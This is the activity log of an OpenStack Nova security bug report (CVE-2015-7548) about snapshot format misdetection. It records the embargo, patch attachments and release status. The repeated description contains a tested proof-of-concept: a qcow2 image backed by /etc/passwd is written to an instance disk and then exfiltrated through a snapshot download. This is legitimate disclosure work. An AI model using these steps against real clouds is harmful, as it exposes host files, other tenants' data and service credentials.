| 2015-12-09 10:33:15 |
Matthew Booth |
bug |
|
|
added bug |
| 2015-12-09 10:37:23 |
John Garbutt |
bug |
|
|
added subscriber Nikola Đipanov |
| 2015-12-09 10:37:57 |
John Garbutt |
nova: assignee |
|
Matthew Booth (mbooth-9) |
|
| 2015-12-09 10:38:15 |
John Garbutt |
nova: importance |
Undecided |
High |
|
| 2015-12-09 10:47:28 |
Matthew Booth |
description |
There is a qcow2 format vulnerability in LibvirtDriver.snapshot. The impact is that on an affected system, an unprivileged api user can retrieve any file on the host readable by the nova user. This includes guest data of other instances on the same host, and credentials used by nova to access other services externally.
LibvirtDriver.snapshot does:
source_format = libvirt_utils.get_disk_type(disk_path)
...
snapshot_backend = self.image_backend.snapshot(instance,
disk_path,
image_type=source_format)
...
snapshot_backend.snapshot_extract(out_path, image_format)
libvirt_utils.get_disk_type falls back to image inspection for disks which are not lvm, rbd or ploop, which means raw and qcow2 images.
The vulnerability only exists when a user can write to a raw volume which is later erroneously detected as qcow2. This means that the vulnerability is only present on systems using the libvirt driver which have defined use_cow_images=False in nova.conf. This is not the default, so by default nova is not vulnerable.
libvirt.utils.extract_snapshot() expects to be reading from a temporary directory created by nova for storing snapshots before transferring them to glance. As nova directly creates this directory and its contents, the 'qemu-img convert' process does not need to run privileged. This means that the exposure is limited to files directly readable by the nova user.
Unfortunately, while instance disk data is owned by the qemu user not the nova user, on the deployments I have looked at disks are world readable, all their parent directories are world accessable. Additionally, because the qemu-img process is executed by nova directly, it does not benefit from any confinement by libvirt. Specifically, SELinux is not likely to be a defence on a typical deployment.
I have tested this exploit on a Fedora 23 system running devstack as of 8th Dec 2015:
Ensure nova.conf contains use_cow_images = False in the DEFAULT section.
As an unprivileged api user, do:
$ nova boot --image cirros --flavor m1.tiny foo
Somewhere, run:
$ qemu-img create -f qcow2 -o backing_file=/etc/passwd bad.qcow2
Ensure bad.qcow2 is available in the foo instance.
Log into foo, and execute as root:
# dd if=bad.qcow2 of=/dev/vda conv=fsync
As an unprivileged api user, do:
$ nova image-create foo passwd
$ glance image-download <newly created image id> --file passwd
The unprivileged api now has the contents of /etc/passwd from the host locally.
Mitigations:
Nova is not vulnerable by default. The user must have configured use_cow_images=False.
Nova configurations using ceph or lvm for instance storage are not vulnerable.
An attacker must know the uuid of another user's instance in order to be able to access its data. |
There is a qcow2 format vulnerability in LibvirtDriver.snapshot. The impact is that on an affected system, an unprivileged api user can retrieve any file on the host readable by the nova user. This includes guest data of other instances on the same host, and credentials used by nova to access other services externally.
LibvirtDriver.snapshot does:
source_format = libvirt_utils.get_disk_type(disk_path)
...
snapshot_backend = self.image_backend.snapshot(instance,
disk_path,
image_type=source_format)
...
snapshot_backend.snapshot_extract(out_path, image_format)
libvirt_utils.get_disk_type falls back to image inspection for disks which are not lvm, rbd or ploop, which means raw and qcow2 images.
The vulnerability only exists when a user can write to a raw volume which is later erroneously detected as qcow2. This means that the vulnerability is only present on systems using the libvirt driver which have defined use_cow_images=False in nova.conf. This is not the default, so by default nova is not vulnerable.
libvirt.utils.extract_snapshot() expects to be reading from an instance disk and writing to a temporary directory created by nova for storing snapshots before transferring them to glance. As nova directly creates this directory and its contents, the 'qemu-img convert' process does not need to run privileged. This means that the exposure is limited to files directly readable by the nova user.
Unfortunately, as is clear from the context this includes all instance data which, despite being owned by the qemu user, is world readable. Additionally, because the qemu-img process is executed by nova directly, it does not benefit from any confinement by libvirt. Specifically, SELinux is not likely to be a defence on a typical deployment.
I have tested this exploit on a Fedora 23 system running devstack as of 8th Dec 2015:
Ensure nova.conf contains use_cow_images = False in the DEFAULT section.
As an unprivileged api user, do:
$ nova boot --image cirros --flavor m1.tiny foo
Somewhere, run:
$ qemu-img create -f qcow2 -o backing_file=/etc/passwd bad.qcow2
Ensure bad.qcow2 is available in the foo instance.
Log into foo, and execute as root:
# dd if=bad.qcow2 of=/dev/vda conv=fsync
As an unprivileged api user, do:
$ nova image-create foo passwd
$ glance image-download <newly created image id> --file passwd
The unprivileged api now has the contents of /etc/passwd from the host locally.
Mitigations:
Nova is not vulnerable by default. The user must have configured use_cow_images=False.
Nova configurations using ceph or lvm for instance storage are not vulnerable.
An attacker must know the uuid of another user's instance in order to be able to access its data. |
|
| 2015-12-09 15:36:56 |
Jeremy Stanley |
bug task added |
|
ossa |
|
| 2015-12-09 15:37:21 |
Jeremy Stanley |
ossa: status |
New |
Incomplete |
|
| 2015-12-09 15:37:56 |
Jeremy Stanley |
description |
There is a qcow2 format vulnerability in LibvirtDriver.snapshot. The impact is that on an affected system, an unprivileged api user can retrieve any file on the host readable by the nova user. This includes guest data of other instances on the same host, and credentials used by nova to access other services externally.
LibvirtDriver.snapshot does:
source_format = libvirt_utils.get_disk_type(disk_path)
...
snapshot_backend = self.image_backend.snapshot(instance,
disk_path,
image_type=source_format)
...
snapshot_backend.snapshot_extract(out_path, image_format)
libvirt_utils.get_disk_type falls back to image inspection for disks which are not lvm, rbd or ploop, which means raw and qcow2 images.
The vulnerability only exists when a user can write to a raw volume which is later erroneously detected as qcow2. This means that the vulnerability is only present on systems using the libvirt driver which have defined use_cow_images=False in nova.conf. This is not the default, so by default nova is not vulnerable.
libvirt.utils.extract_snapshot() expects to be reading from an instance disk and writing to a temporary directory created by nova for storing snapshots before transferring them to glance. As nova directly creates this directory and its contents, the 'qemu-img convert' process does not need to run privileged. This means that the exposure is limited to files directly readable by the nova user.
Unfortunately, as is clear from the context this includes all instance data which, despite being owned by the qemu user, is world readable. Additionally, because the qemu-img process is executed by nova directly, it does not benefit from any confinement by libvirt. Specifically, SELinux is not likely to be a defence on a typical deployment.
I have tested this exploit on a Fedora 23 system running devstack as of 8th Dec 2015:
Ensure nova.conf contains use_cow_images = False in the DEFAULT section.
As an unprivileged api user, do:
$ nova boot --image cirros --flavor m1.tiny foo
Somewhere, run:
$ qemu-img create -f qcow2 -o backing_file=/etc/passwd bad.qcow2
Ensure bad.qcow2 is available in the foo instance.
Log into foo, and execute as root:
# dd if=bad.qcow2 of=/dev/vda conv=fsync
As an unprivileged api user, do:
$ nova image-create foo passwd
$ glance image-download <newly created image id> --file passwd
The unprivileged api now has the contents of /etc/passwd from the host locally.
Mitigations:
Nova is not vulnerable by default. The user must have configured use_cow_images=False.
Nova configurations using ceph or lvm for instance storage are not vulnerable.
An attacker must know the uuid of another user's instance in order to be able to access its data. |
This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added to the bug as attachments.
There is a qcow2 format vulnerability in LibvirtDriver.snapshot. The impact is that on an affected system, an unprivileged api user can retrieve any file on the host readable by the nova user. This includes guest data of other instances on the same host, and credentials used by nova to access other services externally.
LibvirtDriver.snapshot does:
source_format = libvirt_utils.get_disk_type(disk_path)
...
snapshot_backend = self.image_backend.snapshot(instance,
disk_path,
image_type=source_format)
...
snapshot_backend.snapshot_extract(out_path, image_format)
libvirt_utils.get_disk_type falls back to image inspection for disks which are not lvm, rbd or ploop, which means raw and qcow2 images.
The vulnerability only exists when a user can write to a raw volume which is later erroneously detected as qcow2. This means that the vulnerability is only present on systems using the libvirt driver which have defined use_cow_images=False in nova.conf. This is not the default, so by default nova is not vulnerable.
libvirt.utils.extract_snapshot() expects to be reading from an instance disk and writing to a temporary directory created by nova for storing snapshots before transferring them to glance. As nova directly creates this directory and its contents, the 'qemu-img convert' process does not need to run privileged. This means that the exposure is limited to files directly readable by the nova user.
Unfortunately, as is clear from the context this includes all instance data which, despite being owned by the qemu user, is world readable. Additionally, because the qemu-img process is executed by nova directly, it does not benefit from any confinement by libvirt. Specifically, SELinux is not likely to be a defence on a typical deployment.
I have tested this exploit on a Fedora 23 system running devstack as of 8th Dec 2015:
Ensure nova.conf contains use_cow_images = False in the DEFAULT section.
As an unprivileged api user, do:
$ nova boot --image cirros --flavor m1.tiny foo
Somewhere, run:
$ qemu-img create -f qcow2 -o backing_file=/etc/passwd bad.qcow2
Ensure bad.qcow2 is available in the foo instance.
Log into foo, and execute as root:
# dd if=bad.qcow2 of=/dev/vda conv=fsync
As an unprivileged api user, do:
$ nova image-create foo passwd
$ glance image-download <newly created image id> --file passwd
The unprivileged api now has the contents of /etc/passwd from the host locally.
Mitigations:
Nova is not vulnerable by default. The user must have configured use_cow_images=False.
Nova configurations using ceph or lvm for instance storage are not vulnerable.
An attacker must know the uuid of another user's instance in order to be able to access its data. |
|
| 2015-12-09 15:38:20 |
Jeremy Stanley |
bug |
|
|
added subscriber Nova Core security contacts |
| 2015-12-09 17:27:32 |
Matthew Booth |
attachment added |
|
0001-All-the-things.patch https://bugs.launchpad.net/nova/+bug/1524274/+attachment/4532036/+files/0001-All-the-things.patch |
|
| 2015-12-09 19:50:21 |
Tristan Cacqueray |
ossa: status |
Incomplete |
Confirmed |
|
| 2015-12-09 19:50:30 |
Tristan Cacqueray |
ossa: importance |
Undecided |
Critical |
|
| 2015-12-09 19:50:35 |
Tristan Cacqueray |
ossa: assignee |
|
Tristan Cacqueray (tristan-cacqueray) |
|
| 2015-12-10 10:42:13 |
Matthew Booth |
bug |
|
|
added subscriber Daniel Berrange |
| 2015-12-10 12:09:15 |
Matthew Booth |
bug |
|
|
added subscriber sahid |
| 2015-12-10 18:51:09 |
Matthew Booth |
attachment added |
|
Fix for convert_image bug https://bugs.launchpad.net/nova/+bug/1524274/+attachment/4532695/+files/0001-More-things.patch |
|
| 2015-12-11 14:45:07 |
Matthew Booth |
attachment added |
|
0001-Fix-format-detection-in-libvirt-snapshot.patch https://bugs.launchpad.net/nova/+bug/1524274/+attachment/4533238/+files/0001-Fix-format-detection-in-libvirt-snapshot.patch |
|
| 2015-12-11 14:45:33 |
Matthew Booth |
attachment added |
|
0002-Fix-format-conversion-in-libvirt-snapshot.patch https://bugs.launchpad.net/nova/+bug/1524274/+attachment/4533239/+files/0002-Fix-format-conversion-in-libvirt-snapshot.patch |
|
| 2015-12-11 14:45:51 |
Matthew Booth |
attachment added |
|
0003-Fix-backing-file-detection-in-libvirt-live-snapshot.patch https://bugs.launchpad.net/nova/+bug/1524274/+attachment/4533240/+files/0003-Fix-backing-file-detection-in-libvirt-live-snapshot.patch |
|
| 2015-12-11 16:06:32 |
Tristan Cacqueray |
ossa: status |
Confirmed |
Triaged |
|
| 2015-12-11 16:46:07 |
Matthew Booth |
attachment added |
|
0002-Fix-format-conversion-in-libvirt-snapshot.patch https://bugs.launchpad.net/nova/+bug/1524274/+attachment/4533286/+files/0002-Fix-format-conversion-in-libvirt-snapshot.patch |
|
| 2015-12-11 16:55:30 |
Tristan Cacqueray |
ossa: status |
Triaged |
In Progress |
|
| 2015-12-11 21:56:38 |
Tristan Cacqueray |
summary |
Unprivileged api user can access host data using instance snapshot |
Unprivileged api user can access host data using instance snapshot (2015-7548) |
|
| 2015-12-11 21:56:47 |
Tristan Cacqueray |
cve linked |
|
2015-7548 |
|
| 2015-12-11 22:16:07 |
Tristan Cacqueray |
summary |
Unprivileged api user can access host data using instance snapshot (2015-7548) |
Unprivileged api user can access host data using instance snapshot (CVE-2015-7548) |
|
| 2015-12-14 10:22:40 |
Sahid Orentino |
attachment added |
|
stable/liberty (1) https://bugs.launchpad.net/nova/+bug/1524274/+attachment/4534475/+files/0001-Fix-format-detection-in-libvirt-snapshot.patch |
|
| 2015-12-14 10:23:09 |
Sahid Orentino |
attachment added |
|
stable/liberty (2) https://bugs.launchpad.net/nova/+bug/1524274/+attachment/4534476/+files/0002-Fix-format-conversion-in-libvirt-snapshot.patch |
|
| 2015-12-14 10:24:25 |
Sahid Orentino |
attachment added |
|
stable/liberty (3) https://bugs.launchpad.net/nova/+bug/1524274/+attachment/4534477/+files/0003-Fix-backing-file-detection-in-libvirt-live-snapshot.patch |
|
| 2015-12-14 10:25:35 |
Sahid Orentino |
attachment added |
|
stable/kilo (1) https://bugs.launchpad.net/nova/+bug/1524274/+attachment/4534478/+files/0001-Fix-format-detection-in-libvirt-snapshot.patch |
|
| 2015-12-14 10:25:56 |
Sahid Orentino |
attachment added |
|
stable/kilo (2) https://bugs.launchpad.net/nova/+bug/1524274/+attachment/4534479/+files/0002-Fix-format-conversion-in-libvirt-snapshot.patch |
|
| 2015-12-14 10:26:52 |
Sahid Orentino |
attachment added |
|
stable/kilo (3) https://bugs.launchpad.net/nova/+bug/1524274/+attachment/4534480/+files/0003-Fix-backing-file-detection-in-libvirt-live-snapshot.patch |
|
| 2016-01-04 15:41:11 |
Tristan Cacqueray |
ossa: status |
In Progress |
Fix Committed |
|
| 2016-01-07 14:59:28 |
Tristan Cacqueray |
information type |
Private Security |
Public Security |
|
| 2016-01-07 14:59:59 |
Tristan Cacqueray |
summary |
Unprivileged api user can access host data using instance snapshot (CVE-2015-7548) |
[OSSA 2016-001] Unprivileged api user can access host data using instance snapshot (CVE-2015-7548) |
|
| 2016-01-07 15:00:32 |
OpenStack Infra |
nova: status |
New |
In Progress |
|
| 2016-01-07 15:05:40 |
Kashyap Chamarthy |
bug |
|
|
added subscriber Kashyap Chamarthy |
| 2016-01-07 17:40:02 |
Tristan Cacqueray |
ossa: status |
Fix Committed |
Fix Released |
|
| 2016-01-14 05:50:43 |
OpenStack Infra |
tags |
|
in-stable-liberty |
|
| 2016-01-14 17:37:09 |
OpenStack Infra |
nova: status |
In Progress |
Fix Released |
|
| 2016-01-16 01:08:34 |
OpenStack Infra |
tags |
in-stable-liberty |
in-stable-kilo in-stable-liberty |
|
| 2016-01-21 20:01:09 |
Dave Walker |
nominated for series |
|
nova/kilo |
|
| 2016-01-21 20:01:09 |
Dave Walker |
bug task added |
|
nova/kilo |
|
| 2016-01-21 20:29:00 |
Dave Walker |
nova/kilo: status |
New |
Fix Committed |
|
| 2016-01-21 20:29:00 |
Dave Walker |
nova/kilo: milestone |
|
2015.1.3 |
|
| 2016-01-21 23:19:47 |
Dave Walker |
nova/kilo: status |
Fix Committed |
Fix Released |
|
| 2016-04-19 21:32:11 |
Matt Riedemann |
nova/kilo: importance |
Undecided |
High |
|
| 2016-04-19 21:32:21 |
Matt Riedemann |
nova/kilo: assignee |
|
Matthew Booth (mbooth-9) |
|
| 2020-02-27 23:59:21 |
Jeremy Stanley |
description |
This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added to the bug as attachments.
There is a qcow2 format vulnerability in LibvirtDriver.snapshot. The impact is that on an affected system, an unprivileged api user can retrieve any file on the host readable by the nova user. This includes guest data of other instances on the same host, and credentials used by nova to access other services externally.
LibvirtDriver.snapshot does:
source_format = libvirt_utils.get_disk_type(disk_path)
...
snapshot_backend = self.image_backend.snapshot(instance,
disk_path,
image_type=source_format)
...
snapshot_backend.snapshot_extract(out_path, image_format)
libvirt_utils.get_disk_type falls back to image inspection for disks which are not lvm, rbd or ploop, which means raw and qcow2 images.
The vulnerability only exists when a user can write to a raw volume which is later erroneously detected as qcow2. This means that the vulnerability is only present on systems using the libvirt driver which have defined use_cow_images=False in nova.conf. This is not the default, so by default nova is not vulnerable.
libvirt.utils.extract_snapshot() expects to be reading from an instance disk and writing to a temporary directory created by nova for storing snapshots before transferring them to glance. As nova directly creates this directory and its contents, the 'qemu-img convert' process does not need to run privileged. This means that the exposure is limited to files directly readable by the nova user.
Unfortunately, as is clear from the context this includes all instance data which, despite being owned by the qemu user, is world readable. Additionally, because the qemu-img process is executed by nova directly, it does not benefit from any confinement by libvirt. Specifically, SELinux is not likely to be a defence on a typical deployment.
I have tested this exploit on a Fedora 23 system running devstack as of 8th Dec 2015:
Ensure nova.conf contains use_cow_images = False in the DEFAULT section.
As an unprivileged api user, do:
$ nova boot --image cirros --flavor m1.tiny foo
Somewhere, run:
$ qemu-img create -f qcow2 -o backing_file=/etc/passwd bad.qcow2
Ensure bad.qcow2 is available in the foo instance.
Log into foo, and execute as root:
# dd if=bad.qcow2 of=/dev/vda conv=fsync
As an unprivileged api user, do:
$ nova image-create foo passwd
$ glance image-download <newly created image id> --file passwd
The unprivileged api now has the contents of /etc/passwd from the host locally.
Mitigations:
Nova is not vulnerable by default. The user must have configured use_cow_images=False.
Nova configurations using ceph or lvm for instance storage are not vulnerable.
An attacker must know the uuid of another user's instance in order to be able to access its data. |
There is a qcow2 format vulnerability in LibvirtDriver.snapshot. The impact is that on an affected system, an unprivileged api user can retrieve any file on the host readable by the nova user. This includes guest data of other instances on the same host, and credentials used by nova to access other services externally.
LibvirtDriver.snapshot does:
source_format = libvirt_utils.get_disk_type(disk_path)
...
snapshot_backend = self.image_backend.snapshot(instance,
disk_path,
image_type=source_format)
...
snapshot_backend.snapshot_extract(out_path, image_format)
libvirt_utils.get_disk_type falls back to image inspection for disks which are not lvm, rbd or ploop, which means raw and qcow2 images.
The vulnerability only exists when a user can write to a raw volume which is later erroneously detected as qcow2. This means that the vulnerability is only present on systems using the libvirt driver which have defined use_cow_images=False in nova.conf. This is not the default, so by default nova is not vulnerable.
libvirt.utils.extract_snapshot() expects to be reading from an instance disk and writing to a temporary directory created by nova for storing snapshots before transferring them to glance. As nova directly creates this directory and its contents, the 'qemu-img convert' process does not need to run privileged. This means that the exposure is limited to files directly readable by the nova user.
Unfortunately, as is clear from the context this includes all instance data which, despite being owned by the qemu user, is world readable. Additionally, because the qemu-img process is executed by nova directly, it does not benefit from any confinement by libvirt. Specifically, SELinux is not likely to be a defence on a typical deployment.
I have tested this exploit on a Fedora 23 system running devstack as of 8th Dec 2015:
Ensure nova.conf contains use_cow_images = False in the DEFAULT section.
As an unprivileged api user, do:
$ nova boot --image cirros --flavor m1.tiny foo
Somewhere, run:
$ qemu-img create -f qcow2 -o backing_file=/etc/passwd bad.qcow2
Ensure bad.qcow2 is available in the foo instance.
Log into foo, and execute as root:
# dd if=bad.qcow2 of=/dev/vda conv=fsync
As an unprivileged api user, do:
$ nova image-create foo passwd
$ glance image-download <newly created image id> --file passwd
The unprivileged api now has the contents of /etc/passwd from the host locally.
Mitigations:
Nova is not vulnerable by default. The user must have configured use_cow_images=False.
Nova configurations using ceph or lvm for instance storage are not vulnerable.
An attacker must know the uuid of another user's instance in order to be able to access its data. |
|
